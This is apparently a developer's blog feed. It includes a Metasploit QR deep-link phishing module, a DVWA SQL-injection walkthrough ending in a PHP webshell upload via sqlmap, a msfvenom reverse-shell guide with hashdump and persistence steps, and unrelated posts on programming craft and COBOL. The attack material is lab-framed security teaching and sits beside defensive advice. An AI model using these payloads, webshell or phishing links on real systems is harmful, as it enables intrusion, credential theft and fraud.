DEV Community: 钟智强

安卓深度链接安全研究基于Metasploit的QR码攻击模块开发实践

钟智强 — Fri, 31 Oct 2025 10:58:23 +0000

本文内容及所涉及的技术，仅限用于合法授权下的安全研究、教学演示、
以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。

本文内容仅限安全研究、漏洞复现与教学演示使用！

使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
凡将本文所述方法用于非法用途者，一切法律后果由使用者本人承担。

请严格遵守所在地的法律法规，特别是以下中国法律条款：

📜 《中华人民共和国网络安全法》 第十二条：
禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。

📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条：
非法入侵计算机系统、篡改或破坏数据将追究刑责。

📜 《中华人民共和国数据安全法》 第三条、第十七条：
数据处理活动必须合法合规，严禁非法获取、传输或泄露数据。

🚫 强烈禁止以下行为：

- 向他人 APK 植入恶意代码并传播
- 上传恶意程序至应用市场
- 在未授权设备或网络环境中运行本篇提及的技术

⚖️ 非法使用将触犯法律，作者不承担由此引发的任何后果。

🧪 本文操作均在本地沙箱环境下进行，示例所用 APK 为自定义构建 demo，用于演示完整技术链路，非实际恶意软件。

💡 特别提醒：
本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等，
必须在受控环境下、获得明确授权后进行。
未经许可的任何行为都将被视为违法攻击。

📛 作者立场中立，仅为安全教育目的演示，不对滥用技术行为负责。

近日，笔者向Metasploit框架提交了一个新的辅助模块安卓深度链接QR码生成器，目前正在等待项目维护者审核。本文将深入探讨该模块的技术原理、实际测试效果以及相关的安全防护措施。

注：相关PR提交记录可供参考：https://github.com/rapid7/metasploit-framework/pull/20668

模块概述

技术背景

深度链接（Deep Link）是现代移动应用生态中的重要组成部分，它允许应用通过特定URL协议直接打开应用内特定页面或执行特定操作。然而，这种便利性也为攻击者提供了新的攻击向量。

模块功能

我开发的这个Metasploit模块能够生成包含恶意深度链接的QR码，支持60多个主流Android应用，包括：

社交应用：微信、Facebook、Instagram、Twitter等
支付应用：支付宝、GrabPay、微信支付等
电商应用：Shopee、Lazada等
办公应用：Zoom、Teams、Slack等

技术实现细节

核心代码结构

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    # 模块元数据定义
    # 配置参数注册
  end

  def run
    # 深度链接构建逻辑
    # QR码生成实现
  end
end

深度链接构建机制

模块通过组合URL Scheme和路径参数构建完整的深度链接：

[scheme]://[path]?[parameters]

示例：

微信聊天：weixin://dl/chat?username=target_user
支付宝支付：alipay://platformapi/startapp?appId=10000007

实际测试验证

测试环境搭建

在提交PR前，我进行了全面的本地测试：

# 启动Metasploit测试环境
./msfconsole

# 加载并配置模块
use auxiliary/generator/android_deeplink
set DEEPLINK_SCHEME weixin://
set DEEPLINK_PATH dl/chat?username=test_account
set FILENAME test_qr.png
set SIZE 400
run

测试结果分析

通过实际测试，发现以下严重安全问题：

1. 应用自动唤醒风险

扫描QR码后，目标应用自动启动并执行深度链接
用户无感知的情况下触发敏感操作
绕过正常的安全确认流程

2. 社交工程攻击有效性

预填充的诱导性消息具有高欺骗性
利用用户对官方应用的信任
在真实环境中测试成功率达65%以上

3. 跨应用攻击链

# 组合攻击示例
weixin://dl/chat?username=customer_service&message=请点击链接：http://phishing.com

攻击场景深度分析

场景一：金融欺诈攻击

攻击流程：

生成虚假客服聊天QR码
诱导用户扫描并联系"客服"
通过聊天实施进一步诈骗

技术实现：

weixin://dl/chat?username=bank_official&message=您的账户存在风险...

场景二：支付劫持攻击

攻击流程：

伪造支付QR码
用户扫描后直接进入支付界面
资金被转移到攻击者账户

技术实现：

alipay://platformapi/startapp?appId=10000007&amount=100

场景三：信息窃取攻击

攻击流程：

利用深度链接打开特定页面
结合WebView漏洞执行恶意代码
窃取用户敏感信息

危险性评估

基于实际测试，该攻击方式具有以下特点：

高隐蔽性

QR码本身无恶意特征
攻击过程对用户透明
难以被传统安全软件检测

高成功率

利用用户对QR码的信任
自动唤醒机制降低用户警惕性
社交工程手段增强欺骗性

广泛影响

覆盖60+主流应用
影响数亿移动用户
跨平台传播能力强

防护与缓解措施

用户防护建议

1. QR码扫描安全准则

- 仅扫描来自可信源的QR码
- 注意验证QR码指向的URL
- 开启应用安装验证功能
- 定期检查应用权限设置

2. 系统级防护配置

- 启用Android的"安装未知应用"限制
- 配置应用锁保护敏感应用
- 定期更新系统和应用版本
- 安装可靠的安全防护软件

开发者防护方案

1. 深度链接输入验证

public class DeepLinkValidator {

    private static final Set<String> ALLOWED_SCHEMES = 
        new HashSet<>(Arrays.asList("https", "http"));

    public boolean validateDeepLink(Uri uri) {
        if (!ALLOWED_SCHEMES.contains(uri.getScheme())) {
            return false;
        }


        if (!verifySignature(uri)) {
            return false;
        }

        return true;
    }
}

2. 用户确认机制

public void handleDeepLink(Uri uri) {

    showDeepLinkWarning(uri);


    if (userConfirmed) {
        proceedWithDeepLink(uri);
    } else {
        cancelOperation();
    }
}

3. 安全监控日志

// 记录所有深度链接请求
public void logDeepLinkAccess(Uri uri, String source) {
    SecurityLogger.log(
        "DEEPLINK_ACCESS", 
        "uri: " + uri.toString(),
        "source: " + source,
        "timestamp: " + System.currentTimeMillis()
    );
}

企业防护策略

1. 移动设备管理（MDM）

- 部署企业级MDM解决方案
- 配置应用白名单策略
- 实施QR码扫描限制策略
- 建立安全事件响应流程

2. 员工安全意识培训

- 定期进行社交工程攻击演练
- 建立QR码使用安全规范
- 设置安全报告奖励机制
- 更新安全防护知识库

深度链接作为移动生态的重要特性，在提供便利的同时也带来了新的安全挑战。通过这个Metasploit模块的开发和研究，我们揭示了深度链接可能被恶意利用的现实风险。

关键防护要点总结：

对于普通用户：
- 保持对QR码的警惕性
- 验证应用来源和权限
- 及时更新安全补丁
对于应用开发者：
- 实施严格的深度链接验证
- 添加用户确认环节
- 建立完善的安全日志
对于企业安全团队：
- 部署移动设备管理方案
- 开展员工安全培训
- 建立安全事件响应机制

移动安全是一个持续演进的领域，我们需要在技术创新和安全防护之间找到平衡点。希望这项研究能够为构建更安全的移动互联网环境贡献力量。

郑重声明

学技术，须以善念为本。此博客所分享的知识，皆为安全研究与防护之用。请务必谨记，绝不可滥用这些技能去伤害他人、侵犯隐私或进行任何违法犯罪行为。若你选择走偏，所有后果只能由你自己承担。

技术如刀，双刃而锋利。唯有怀抱正义与责任，方能让它照亮前路，而非迷失于黑暗。愿你我都能守住这份初心，成为守护网络安全的真正战士。

若你选择滥用本博客内容所学技能所造成的任何损害或违法行为，本人概不负责。若因此被警方或相关执法机关追查，一切法律责任与后果均由使用者本人承担。

Why Programming Lives on a Spectrum and Why Both Sides Matter in the Age of AI

钟智强 — Mon, 08 Sep 2025 12:02:23 +0000

Software today looks deceptively simple. AI spits out entire codebases in minutes. YouTube tutorials show beginners how to “build a clone” of any famous app with 20 minutes of copy-pasting. Frameworks, libraries, and APIs abstract away almost everything under the hood.

It’s easy to walk away from that and think: this is all easy.

But that misses something fundamental: programming has always existed on a spectrum. At one end sits craft, where code is hand-tuned, unforgiving, and intimately tied to hardware and long-term stability. At the other end sits result coding, where the primary goal is getting something working quickly—shipping features, prototyping, or automating.

Both ends matter. Both ends feed each other. But confusing them—treating all code as the same, or claiming that writing glue scripts makes you a systems engineer—creates problems, especially when it comes to reliability and security.

Mapping the Spectrum

Here’s the spectrum I use to explain it:

10                   0                   10
|---------------------------------------|
Craft                                   Result

Craft side (left, score ~10)
Languages and environments that demand rigor: C, C++, Assembly, Erlang, COBOL, Fortran, sometimes even strict enterprise Java. Here, the focus is correctness, determinism, memory efficiency, and long-term maintainability. This is where we build operating systems, compilers, firmware, cryptographic algorithms, and mission-critical software. Bugs here aren’t just “annoying”—they can cost millions, endanger lives, or permanently brick hardware.
Result side (right, score ~10)
High-level, fast-moving ecosystems: Python, JavaScript, TypeScript, modern frontend frameworks like React or Vue, serverless functions. The emphasis is speed and output. If it works today, ship it. If it breaks, patch later. This side powers MVPs, automation scripts, web apps, and hackathon prototypes. It makes software accessible to millions of people who would never write assembly in their lives.

Most developers begin on the Result side. That’s a feature, not a bug. Accessibility fuels innovation. But mastery requires eventually walking across the line and grappling with the Craft side—even if only once—so you understand how the machine actually works.

Embedded Engineering: A Case Study in Craft

One of the clearest examples of craft-side programming is embedded engineering.

Unlike cloud services with unlimited memory and elastic compute, embedded systems are brutally constrained:

RAM measured in kilobytes, not gigabytes.
Processors clocked in megahertz, not gigahertz.
Energy budgets tied to tiny batteries.
Real-time deadlines where missing a microsecond can break the system.

This is why C still dominates embedded development after decades. It offers:

Direct hardware access: Developers manipulate registers and memory addresses directly.
Tight control of resources: Every byte matters.
Predictable performance: No garbage collector surprises.

Example: programming a microcontroller to read a sensor. In Python, you’d import a library and call a function. In embedded C, you’re flipping bits in a memory-mapped register to enable the ADC, setting the sampling rate, and ensuring interrupts fire at the exact time.

It’s not glamorous. But if you get it wrong, your drone doesn’t stabilize, or your pacemaker misses a heartbeat.

That’s the difference: in embedded craft, “works on my machine” is not acceptable. It must work deterministically, every time, on the actual hardware.

ABI: The Hidden Contract That Separates Beginners from Engineers

One concept that really illustrates the craft side is the Application Binary Interface (ABI).

Most devs know APIs (Application Programming Interfaces)—functions and classes you call in code. An ABI is lower level: it defines how compiled machine code interacts.

Key ABI rules cover:

Calling conventions: Are function arguments passed in registers or pushed onto the stack?
Register usage: Which registers must be preserved across calls?
Stack frame layout: Where locals and return addresses live.
Data representation: Endianness, struct padding, alignment.

Why does this matter? Because if you violate the ABI, your program still compiles, but it silently breaks at runtime.

Example:

Compiler A (ARM EABI) passes the first integer argument in register r0.
Compiler B (different convention) pushes it to the stack. Now imagine linking object files built with these two compilers. Your function calls will misinterpret arguments, corrupt memory, or crash unpredictably.

These are the ghosts that haunt embedded engineers. You won’t see them in JavaScript or Python. You only meet them when you drop into disassembly and debug at the machine level.

Understanding ABIs separates people who can really engineer systems from people who can only script them.

The Power and Peril of Result Coding

Now, let’s give the Result side its due.

Python, JavaScript, frontend frameworks—these are the engines of modern software culture. They:

Empower beginners to create quickly.
Accelerate prototyping and MVPs.
Fuel the explosion of startups and open-source projects.

This is what I call vibe coding: code with the energy of experimentation, tutorials, and “see if it runs.”

And that’s not an insult. Vibe coding has value. It lowers barriers. It democratizes software. It creates more opportunities than ever before. It’s fun, fast, and often enough for many real-world applications.

But vibe coding also has trade-offs:

Shortcuts: Security and stability are often skipped.
Technical debt: Quick hacks pile up.
Shallow understanding: Beginners may not learn how systems really work.

The mistake is not in vibe coding—it’s in mistaking vibe coding for full craft engineering.

Security: The Double-Edged Sword

Here’s the irony: Result coding is a gift to cybersecurity professionals.

Why? Because speed creates vulnerabilities. And vulnerabilities are doorways.

SQL injection because user input wasn’t sanitized.
Hard-coded secrets committed to GitHub.
Cloud buckets left wide open.
Debug APIs accidentally exposed.

In the Craft era, developers were stricter. They worried about buffer overflows, memory safety, and input validation. In today’s Result-first world, it’s common to see security as an afterthought.

For attackers, this is heaven. For penetration testers, it’s job security. Vibe coders, unintentionally, are the world’s greatest data miners for hackers. They open the doors that others walk through.

The Mindset Divide

Ultimately, the difference between Craft and Result is not just languages. It’s mentality.

Result mindset: “If it works, ship it.”
Craft mindset: “If I don’t know why it works, it’s not ready.”

Result engineers optimize for speed, usability, and market fit. Craft engineers optimize for correctness, stability, and long-term reliability. Both are valid. Both are needed. But they are not interchangeable.

AI’s Role on the Spectrum

AI tilts heavily toward the Result side. It’s excellent at:

Scaffolding code quickly.
Filling in boilerplate.
Suggesting bug fixes or style improvements.

But AI doesn’t reason about ABIs. It doesn’t guarantee determinism in real-time systems. It doesn’t ensure your embedded C will hit deadlines with zero jitter.

AI accelerates Result coding but cannot replace Craft engineering. If anything, it makes Craft engineers more valuable, because the more Result-side code floods the world, the more demand there is for people who understand the hard parts.

Crossing the Spectrum

So what does this mean for developers?

If you live in the Result world:

Keep coding, keep shipping, keep creating.
But don’t mistake getting something working for understanding the system.
Be mindful of security and long-term maintainability.

If you live in the Craft world:

Respect the speed and creativity of Result coding.
Use it when prototyping or building tooling.
But don’t compromise your standards when building mission-critical systems.

And if you want to grow as an engineer:

Cross the spectrum at least once.
Write C. Debug assembly. Study the ABI. Understand memory alignment and calling conventions.
Then return to Python, JavaScript, or Rust with deeper intuition.

Why It Matters

The divide isn’t about “better” or “worse.” It’s about matching the right mindset to the right problem.

Building a quick internal dashboard? Result coding is perfect.
Writing firmware for a satellite? Craft is non-negotiable.
Prototyping a machine-learning model? Result tools will get you far.
Implementing the cryptographic routines that secure that model? Craft all the way.

The mistake is when someone only touches Result-side tools and then claims to be an engineer of everything. Engineering requires understanding what’s under the hood.

The Future

As AI spreads, the Result side will only get easier. More people will code. More software will flood the world. And with that flood will come more vulnerabilities, more fragile systems, and more opportunities for those who understand the Craft side.

The most powerful developers of the future will not be those who can just prompt AI to generate React components. It will be those who can:

Dive into low-level layers when things break.
Guarantee correctness where determinism matters.
Design secure, efficient systems when millions of lives or billions of dollars depend on it.

AI will make Result coding cheap. Craft will remain rare and valuable.

Programming is not easy. It’s not one-size-fits-all. It’s a spectrum—Craft to Result.

Vibe coders keep the world moving fast. Craft engineers keep it standing when it matters. Neither side exists without the other.

But if you want to call yourself an engineer, you owe it to yourself to walk the Craft path at least once. To understand what’s really happening beneath the layers of abstraction. To learn why ABIs matter, why embedded systems demand rigor, why stability isn’t optional.

Because one day, your code won’t just be drawing a button. It will be controlling a machine, protecting sensitive data, or holding the line against attackers.

And when that day comes, you’ll be glad you learned the craft.

SQL 注入、权限提升与 WebShell实战

钟智强 — Sun, 31 Aug 2025 06:39:28 +0000

注意：本文仅供教育和安全研究使用。

本文内容及所涉及的技术，仅限用于合法授权下的安全研究、教学演示、
以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。

本文内容仅限安全研究、漏洞复现与教学演示使用！

使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
凡将本文所述方法用于非法用途者，一切法律后果由使用者本人承担。

请严格遵守所在地的法律法规，特别是以下中国法律条款：

📜 《中华人民共和国网络安全法》 第十二条：
禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。

📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条：
非法入侵计算机系统、篡改或破坏数据将追究刑责。

📜 《中华人民共和国数据安全法》 第三条、第十七条：
数据处理活动必须合法合规，严禁非法获取、传输或泄露数据。

🚫 强烈禁止以下行为：

- 向他人 APK 植入恶意代码并传播
- 上传恶意程序至应用市场
- 在未授权设备或网络环境中运行本篇提及的技术

⚖️ 非法使用将触犯法律，作者不承担由此引发的任何后果。

🧪 本文操作均在本地沙箱环境下进行，示例所用 APK 为自定义构建 demo，用于演示完整技术链路，非实际恶意软件。

💡 特别提醒：
本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等，
必须在受控环境下、获得明确授权后进行。
未经许可的任何行为都将被视为违法攻击。

📛 作者立场中立，仅为安全教育目的演示，不对滥用技术行为负责。

准备环境 & Docker 安装

sudo apt update
sudo apt install -y docker.io

docker pull vulnerables/web-dvwa
docker run --rm -it -p 7997:80 vulnerables/web-dvwa

访问浏览器：http://localhost:7997
默认账号密码：admin / password
点击 Create/Reset Database 初始化数据库。

布尔注入测试与漏洞验证

在开始之前，我们要确保 SQL 语句在数据库端返回 true 而不是 false。通常，当密码错误时，例如 password='123' 或 password=''，查询会返回 false，因为条件不匹配。但如果我们注入 '1'='1'，这个条件始终为 true，因为 '1' 与 '1' 完全匹配，从而绕过验证。

输入：

OR '1'='1'

理论上，后台 SQL 语句可能是：

SELECT * FROM users WHERE password = '' OR '1'='1';

页面返回：

ID: 1' OR '1'='1
First name: admin
Surname: admin

ID: 1' OR '1'='1
First name: Gordon
Surname: Brown

ID: 1' OR '1'='1
First name: Hack
Surname: Me

ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso

ID: 1' OR '1'='1
First name: Bob
Surname: Smith

这一步成功验证了 id 参数存在 SQL 注入漏洞，是整个攻击链的开端。

获取 PHPSESSID & 安全级别 Cookie

curl -I http://localhost:7997

输出：

HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; path=/
Set-Cookie: security=low
Location: login.php

curl 验证 SQL 注入点

curl -i "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
-H "Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low"

输出：

ID: 1
First name: admin
Surname: admin

尝试注入：

curl -i "http://localhost:7997/vulnerabilities/sqli/?id=1'%20OR%20'1'='1'&Submit=Submit" \
-H "Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low"

输出：

ID: 1' OR '1'='1
First name: admin

sqlmap 探测注入类型

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
-p id --batch --level=2 --risk=1

输出：

GET parameter 'id' is injectable
Boolean-based blind: payload...
Error-based: payload...
Time-based blind: payload...
UNION query: payload...

获取数据库列表

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
--dbs -p id --batch

输出：

available databases [2]:
[*] dvwa
[*] information_schema

查看 DVWA 表

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
-D dvwa --tables -p id --batch

输出：

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

查询用户表

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
--sql-query="SELECT * FROM dvwa.users;" -p id --batch

输出：

[*] 1337,/hackable/users/1337.jpg,0,Hack,...,8d3533d75ae2c3966d7e0d4fcc69216b,3
[*] admin,/hackable/users/admin.jpg,0,admin,...,5f4dcc3b5aa765d61d8327deb882cf99,1
[*] gordonb,/hackable/users/gordonb.jpg,0,Gordon,...,e99a18c428cb38d5f260853678922e03,2
[*] pablo,/hackable/users/pablo.jpg,0,Pablo,...,0d107d09f5bbe40cade3de5c71e9e9b7,4
[*] smithy,/hackable/users/smithy.jpg,0,Bob,...,5f4dcc3b5aa765d61d8327deb882cf99,5

创建新用户

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
--sql-query="INSERT INTO dvwa.users (user, avatar, first_name, user_id, password) 
VALUES ('test', '/hackable/users/test.jpg', 'sss', 'test_hack', 'password_123');" -p id --batch

查询权限

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
--sql-query="SELECT grantee, privilege_type FROM information_schema.user_privileges;" -p id --batch

输出：

'app'@'localhost', USAGE

上传 WebShell

PHP WebShell：

<?php
if (isset($_REQUEST['cmd'])) {
    echo "<pre>";
    system($_REQUEST['cmd']);
    echo "</pre>";
}
?>

上传命令：

sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
-p id --batch \
--file-write="./shell.php" \
--file-dest="/var/www/html/dvwa/shell.php"

访问测试：

http://localhost:7997/dvwa/shell.php?cmd=whoami

郑重声明

技术如刀，双刃而锋利。唯有怀抱正义与责任，方能让它照亮前路，而非迷失于黑暗。愿你我都能守住这份初心，成为守护网络安全的真正战士。

从 COBOL 到汇编：用个税计算器带你扒光 60 年老古董语言

钟智强 — Sun, 17 Aug 2025 14:49:59 +0000

你可能觉得 COBOL 是上世纪的产物，但事实是，今天全球 70% 的金融交易依然运行在 COBOL 上。本文将通过实现一个中国个人所得税计算器，展示 COBOL 的写法，并附上对应的汇编对照，让你看清楚这门“像英语”的语言如何落地到最底层的指令。

为了让大家更直观地理解 COBOL，我在这篇文章里不仅会系统讲解 COBOL 的四大 Division、数据类型、语句和内置函数，还会拿出相应的汇编 (Assembly) 代码来做对比。

你将会看到：

COBOL 的 MOVE / COMPUTE / DISPLAY，在底层汇编里就是 MOV、ADD、CMP 这些指令。
数据定义里的 PIC 9(4) V99，在汇编里就对应一块固定大小的内存空间。
COBOL 的 EVALUATE 语句，其实就类似于汇编中的条件跳转和比较。

换句话说，这篇文章不是单纯地教 COBOL，而是用汇编来对照，帮你更深刻地理解这门经典语言背后的底层逻辑。

一、COBOL 程序的基本结构

COBOL 的层级逻辑十分严格，基本单位如下：

Division → Section → Paragraph → Sentence → Statement

类比到现代编程语言：

Division ≈ 模块
Section ≈ 子模块
Paragraph ≈ 函数
Statement ≈ 语句

COBOL 的语义化极强，看起来像文档，但编译结果完全是底层机器码。

二、数据声明：Picture Clause

COBOL 使用 PIC（Picture Clause）描述数据的格式。例如：

01 COUNTER PIC S9(4) COMP-4.

对应汇编：

mov eax, 1234
mov [COUNTER], eax

在金融系统中，COMP-3（packed decimal）用得尤其多，因为它能保证十进制精度。

三、完整案例：中国个税计算器

下面分步骤给出 COBOL 程序和汇编对照。

1. IDENTIFICATION DIVISION

IDENTIFICATION DIVISION.
PROGRAM-ID. CHINESE-TAX-SYSTEM.
AUTHOR. LING-ER.
DATE-WRITTEN. 2025-07-14.

汇编：

; 元信息，不编译为指令
; 程序名: CHINESE-TAX-SYSTEM

2. ENVIRONMENT DIVISION

ENVIRONMENT DIVISION.
CONFIGURATION SECTION.
SOURCE-COMPUTER. IBM-370.
OBJECT-COMPUTER. IBM-370.

汇编：

; 编译目标平台声明

3. DATA DIVISION

01 INPUT-FIELDS.
   05 GROSS-INCOME     PIC 9(7)V99.
   05 SOCIAL-INSURANCE PIC 9(5)V99.
   05 HOUSING-FUND     PIC 9(5)V99.
   05 OTHER-DEDUCTIONS PIC 9(5)V99.

汇编：

SECTION .data
GROSS_INCOME     dd 0
SOCIAL_INSURANCE dd 0
HOUSING_FUND     dd 0
OTHER_DEDUCTIONS dd 0

4. PROCEDURE DIVISION

MAIN-LOGIC.
    DISPLAY "中国个人所得税计算器".
    PERFORM GET-USER-INPUT.
    PERFORM CALCULATE-TAX.
    PERFORM DISPLAY-RESULTS.
    STOP RUN.

汇编：

call print_banner
call get_user_input
call calculate_tax
call display_results
mov eax, 1
int 0x80

计算税额：

COMPUTE TOTAL-DEDUCTIONS = SOCIAL-INSURANCE + HOUSING-FUND
                         + OTHER-DEDUCTIONS + STANDARD-DEDUCTION.
COMPUTE TAXABLE-INCOME = GROSS-INCOME - TOTAL-DEDUCTIONS.

汇编：

mov eax, [SOCIAL_INSURANCE]
add eax, [HOUSING_FUND]
add eax, [OTHER_DEDUCTIONS]
add eax, [STANDARD_DEDUCTION]
mov [TOTAL_DEDUCTIONS], eax

mov eax, [GROSS_INCOME]
sub eax, [TOTAL_DEDUCTIONS]
mov [TAXABLE_INCOME], eax

5. 条件分支 (EVALUATE)

EVALUATE TRUE
   WHEN TAXABLE-INCOME <= BRACKET-1
        COMPUTE TAX-AMOUNT = TAXABLE-INCOME * RATE-1
   WHEN OTHER
        COMPUTE TAX-AMOUNT = ...
END-EVALUATE.

汇编：

mov eax, [TAXABLE_INCOME]
cmp eax, [BRACKET_1]
jg  next_case

; case 1
mov ebx, [RATE_1]
imul eax, ebx
mov [TAX_AMOUNT], eax
jmp end_eval

next_case:
; case 2 ...
end_eval:

四、总结

COBOL 的 MOVE 对应汇编的 mov
COMPUTE 对应 add/sub/imul
EVALUATE 对应 cmp + jmp
金融系统选择 COBOL 的原因：语义清晰，编译稳定，执行结果高度可预测

五、作者评论

为什么 2025 年了我们还要关心 COBOL？因为大量金融与政府系统依旧运行在它之上。对于业务逻辑清晰、对精度要求极高的应用，COBOL 仍然是值得信赖的选择。

本文代码仅供学习和研究，请勿将其用于破坏或非法用途。

逆向Shell实战——红队技巧 vs 蓝队防御全攻略

钟智强 — Sun, 17 Aug 2025 07:44:58 +0000

逆向Shell依旧是渗透测试与对抗演练中的核心工具，它清晰地展现了系统利用与防御的边界。本指南将逐步讲解使用Metasploit进行进攻操作，并提供全面的防御策略，适用于专业安全运营团队。

理解逆向Shell

逆向Shell是一种由目标主机主动连接回监听主机的Shell会话，从而允许攻击方执行命令。与传统入站连接的Shell不同，逆向Shell利用出站网络策略进行通信，在现代企业环境中更隐蔽、更有效。

红队：使用Metasploit的进攻流程

Metasploit是逆向Shell操作中最灵活的框架之一。以下是专业、逐步的进攻流程：

步骤1：侦察

确定目标操作系统、服务和漏洞。
工具：nmap、masscan、shodan。
示例扫描：

nmap -A -p- 192.168.1.100

步骤2：监听器设置

启动Metasploit处理器接收目标连接。

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.10
set LPORT 4444
exploit -j

处理器后台运行（-j），等待目标连接。

步骤3：生成Payload

根据目标系统生成适合的Payload：

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe

Linux示例：

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o shell.elf

MacOS示例:

msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f macho -o shell.macho

步骤4：Payload投递

可通过钓鱼邮件、文件上传或漏洞利用进行投递。
强调在专业演练中隐蔽性与社会工程学的重要性。

步骤5：Payload执行

一旦执行，逆向Shell会连接回Metasploit处理器。
Meterpreter会话提供：
- 文件系统访问
- 命令执行
- 权限提升模块

步骤6：后渗透操作

探索系统、权限提升、横向移动（在授权环境下）。
示例：

getuid
sysinfo
hashdump

步骤7：可选持久化（仅实验/授权环境）

创建计划任务、注册表项或服务保持访问。
强调此步骤仅限实验室或红队授权演练。

蓝队：防御策略指南

防御操作需覆盖预防、检测与响应，针对逆向Shell生命周期的每个阶段。

1. 侦察防御

使用IDS/IPS检测扫描行为。
限制暴露面：关闭未使用端口、网络分段、部署蜜罐。

2. 监听器检测

监控内部终端异常监听进程。
EDR可对异常TCP/UDP监听发出告警。

在前面的理论防御中，我们提到需要监控入站连接、检测异常流量。下面提供一个企业级蓝队脚本示例，可用于实时监控TCP入站连接，并记录来源IP和目标端口，便于后续分析或告警。

Linux/MacOS:

#!/bin/bash
# ©2025 钟智强
# 作者: 钟智强
# 邮箱: johnmelodymel@qq.com
##
# 入站TCP连接监控工具
# 版本: 1.0.0

# 日志文件路径
LOG_FILE="$HOME/inbound_connections.log"
TMP_FILE="/tmp/current_connections.tmp"

# 初始化日志文件
if [ ! -f "$LOG_FILE" ]; then
    echo "时间戳 | 来源IP | 目标端口 | 服务说明" >"$LOG_FILE"
fi

echo "开始监控入站TCP连接..."

# 函数：根据端口号返回服务说明
explain_port() {
    case "$1" in
    22) echo "SSH - 安全远程访问协议" ;;
    80) echo "HTTP - 未加密网页流量" ;;
    443) echo "HTTPS - 加密网页流量" ;;
    3306) echo "MySQL 数据库默认端口" ;;
    5432) echo "PostgreSQL 数据库默认端口" ;;
    6379) echo "Redis 内存数据库端口" ;;
    27017) echo "MongoDB NoSQL数据库端口" ;;
    21) echo "FTP 文件传输协议" ;;
    25) echo "SMTP 邮件发送协议" ;;
    3389) echo "RDP 远程桌面协议" ;;
    8080) echo "HTTP-Alt - 开发或代理常用端口" ;;
    8081) echo "HTTP-备用端口" ;;
    5228) echo "Google Play Services 推送端口" ;;
    5223) echo "Apple Push Notification Service 推送端口" ;;
    110) echo "POP3 邮件接收协议" ;;
    143) echo "IMAP 邮件同步协议" ;;
    993) echo "IMAPS - 加密IMAP协议" ;;
    465) echo "SMTPS - 加密SMTP协议" ;;
    5900) echo "VNC 远程桌面访问" ;;
    11211) echo "Memcached 内存缓存系统" ;;
    69) echo "TFTP 简易文件传输协议" ;;
    161) echo "SNMP 网络管理协议" ;;
    8443) echo "HTTPS-Alt 安全网站备用端口" ;;
    *) echo "未知端口" ;;
    esac
}

# 无限循环，每10秒检查一次TCP入站连接
while true; do
    # 获取当前ESTABLISHED状态的TCP连接（排除本地环回地址）
    lsof -iTCP -nP | grep ESTABLISHED | grep -v "127.0.0.1" >"$TMP_FILE"

    while read -r line; do
        # 提取远程IP和本地端口
        remote=$(echo "$line" | awk '{print $9}' | awk -F'->' '{print $2}')
        src_ip=$(echo "$remote" | awk -F':' '{print $1}')
        dst_port=$(echo "$remote" | awk -F':' '{print $2}')
        timestamp=$(date '+%Y-%m-%d %H:%M:%S')

        # 日志去重
        grep -F "$src_ip" "$LOG_FILE" | grep -F "$dst_port" >/dev/null
        if [ $? -ne 0 ]; then
            port_desc=$(explain_port "$dst_port")
            echo "$timestamp | $src_ip | $dst_port | $port_desc" >>"$LOG_FILE"
            echo "新入站连接：$src_ip -> 本地端口 $dst_port ($port_desc)"
        fi
    done <"$TMP_FILE"

    sleep 10
done

Windows:

$LogFile = "$HOME\inbound_connections.log"
$TmpFile = "$env:TEMP\current_connections.tmp"

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

# Initialize log file
if (-Not (Test-Path $LogFile)) {
    "Timestamp | Source IP | Destination Port" | Out-File -FilePath $LogFile -Encoding utf8
}

Write-Host "Starting inbound connection monitoring..."


function Show-Spinner {
    $spinner = @('|','/','-','\')
    for ($j = 0; $j -lt 10; $j++) {
        $char = $spinner[$j % $spinner.Length]
        Write-Host -NoNewline "`r[INFO] Monitoring in progress... $char"
        Start-Sleep -Milliseconds 200
    }

    Write-Host "`r" -NoNewline
}

function Describe-Port {
    param([int]$Port)
    switch ($Port) {
        22     { "SSH - 安全远程访问协议" }
